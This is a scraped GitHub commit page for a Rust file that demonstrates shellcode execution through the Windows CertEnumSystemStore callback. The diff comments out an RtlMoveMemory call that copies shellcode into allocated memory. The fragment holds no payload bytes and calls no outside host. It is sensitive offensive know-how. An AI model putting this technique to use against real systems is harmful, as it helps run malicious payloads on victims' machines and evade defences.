Skip to content

Commit 18c25c2

Browse files
committed
Shellcode Exec using CertEnumSystemStore API
1 parent 5dc5a58 commit 18c25c2

File tree

1 file changed

+5
-5
lines changed

1 file changed

+5
-5
lines changed

shellcode_exec/CertEnumSystemStore.rs

Lines changed: 5 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -50,11 +50,11 @@ fn main(){
5050
shellcode.len()
5151
);
5252

53-
RtlMoveMemory(
54-
addr,
55-
shellcode.as_ptr() as *const winapi::ctypes::c_void,
56-
shellcode.len(),
57-
);
53+
//RtlMoveMemory(
54+
// addr,
55+
// shellcode.as_ptr() as *const winapi::ctypes::c_void,
56+
// shellcode.len(),
57+
//);
5858

5959
CertEnumSystemStore(
6060
winapi::um::wincrypt::CERT_SYSTEM_STORE_CURRENT_USER,

0 commit comments

Comments
 (0)